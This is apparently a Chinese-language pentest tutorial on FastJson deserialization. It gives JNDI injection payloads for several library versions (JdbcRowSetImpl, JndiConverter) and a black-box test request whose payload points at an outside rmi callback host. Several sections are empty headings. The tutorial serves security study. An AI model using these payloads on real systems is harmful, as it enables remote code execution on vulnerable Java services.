JAVA攻防-FastJson专题&各版本Gadget链&autoType开关&黑名单&依赖包&本地代码

知识点:

Java攻防-JNDI注入-高版本的绕过Bypass

参考文章:https://xz.aliyun.com/news/14309

参考文章:https://mp.weixin.qq.com/s/t8sjv0Zg8_KMjuW4t-bE-w

FastJson是阿里巴巴的的开源库,用于对JSON格式的数据进行解析和打包。其实简单的来说就是处理json格式的数据的。例如将json转换成一个类。或者是将一个类转换成一段json数据。Fastjson 是一个 Java 库,提供了Java 对象与 JSON 相互转换。

bash 复制代码
依赖
<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>x.x.xx</version>
</dependency>
 
应用知识:
1、序列化方法:
JSON.toJSONString(),返回字符串;
JSON.toJSONBytes(),返回byte数组;

2、反序列化方法:
JSON.parseObject(),返回JsonObject;
JSON.parse(),返回Object;
JSON.parseArray(), 返回JSONArray;
将JSON对象转换为java对象:JSON.toJavaObject();
将JSON对象写入write流:JSON.writeJSONString();

3、常用:
JSON.toJSONString(),JSON.parse(),JSON.parseObject()
 

使用引出安全:
1、序列化固定类后,反序列化不指定类后:
parse方法在调用时会调用set方法
parseObject在调用时会调用set和get方法

2、序列化固定类后,反序列化指定类后:
parseObject在调用时会调用set方法

演示案例-Java攻防-FastJson-各版本gadget链分析

测试:1.2.24 1.2.47 1.2.62 1.2.80等版本差异

1.2.24版本-JDK自带链-JdbcRowSetImpl

bash 复制代码
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
String payload = "{" +
                "\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
                "\"dataSourceName\":\"rmi://xx.xx.xx.xx/xxxx\", " +
                "\"autoCommit\":true" +
                "}";
JSON.parse(payload);
bash 复制代码
版本1.2.24的Payload解析:
1、反序列化对象:com.sun.rowset.JdbcRowSetImpl
2、改动的成员变量:dataSourceName、autoCommit(在进行反序列的时候会触发set方法)
3、setdataSourceName->getdataSourceName
4、setautoCommit->connect->
InitialContext.lookup(getDataSourceName());










1.2.47版本的Payload解析

bash 复制代码
{
    "aaa": {
        "@type": "java.lang.Class",
        "val": "com.sun.rowset.JdbcRowSetImpl"
    },
    "bbb": {
        "@type": "com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName": "ldap://127.0.0.1:1234/Exploit",
        "autoCommit": true
    }
}




所以没法直接用com.sun.rowset.JdbcRowSetImpl类,需要进行间接的转换。




1.2.62版本的Payload解析

bash 复制代码
{
  "@type":"org.apache.xbean.propertyeditor.JndiConverter",
  "AsText":"rmi://127.0.0.1:1099/exploit"
}";








1.2.80版本的Payload解析







本地危险代码





总结

bash 复制代码
*1.2.47<=可利用JDK自带链实现RCE
*1.2.62-1.2.80中利用链为依赖包或本地代码
其中依赖包还需要开启autoType并设置对应白名单,这种情况在实战中只有一到两成的几率能碰到,而本地代码无需(黑盒不适用)
*1.2.80后续版本目前无

黑盒测试思路点

bash 复制代码
能不能测试核心:
1、符合java应用 有json数据传递 或者报错显示用到fastjson类
2、传递的数据不管加密或无密能识别出json格式 直接poc替换测试

POST /home/fastjson HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cache-Control: no-cache
Connection: keep-alive
Content-Length: 112
Content-Type: application/json
Cookie: java-chains-token-key=admin_token; JSESSIONID=22BE2078F5D60DE4851FE00D9610CB51
Host: 127.0.0.1:8000
Origin: http://127.0.0.1:8000
Pragma: no-cache
Referer: http://127.0.0.1:8000/fastjson
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Edg/134.0.0.0
X-Requested-With: XMLHttpRequest
sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Microsoft Edge";v="134"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
 
明文、加密(整体或部分)、编码(涉及到加解密的分析js逆向)
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://jndi.fuzz.red:5/ahld/test","autoCommit":true}
相关推荐
FQNmxDG4S6 小时前
Java多线程编程:Thread与Runnable的并发控制
java·开发语言
虹科网络安全6 小时前
艾体宝干货|数据复制详解:类型、原理与适用场景
java·开发语言·数据库
axng pmje7 小时前
Java语法进阶
java·开发语言·jvm
rKWP8gKv77 小时前
Java微服务性能监控:Prometheus与Grafana集成方案
java·微服务·prometheus
老前端的功夫7 小时前
【Java从入门到入土】28:Stream API:告别for循环的新时代
java·开发语言·python
qq_435287927 小时前
第9章 夸父逐日与后羿射日:死循环与进程终止?十个太阳同时值班的并行冲突
java·开发语言·git·死循环·进程终止·并行冲突·夸父逐日
小江的记录本7 小时前
【Kafka核心】架构模型:Producer、Broker、Consumer、Consumer Group、Topic、Partition、Replica
java·数据库·分布式·后端·搜索引擎·架构·kafka
yaoxin5211238 小时前
397. Java 文件操作基础 - 创建常规文件与临时文件
java·开发语言·python
极客先躯10 小时前
高级java每日一道面试题-2025年11月24日-容器与虚拟化题[Dockerj]-runc 的作用是什么?
java·oci 的命令行工具·最小可用·无守护进程·完全标准·创建容器的核心流程·runc 核心职责思维导图
用户606487671889610 小时前
AI 抢不走的技能:用 Claude API 构建自动化工作流实战
java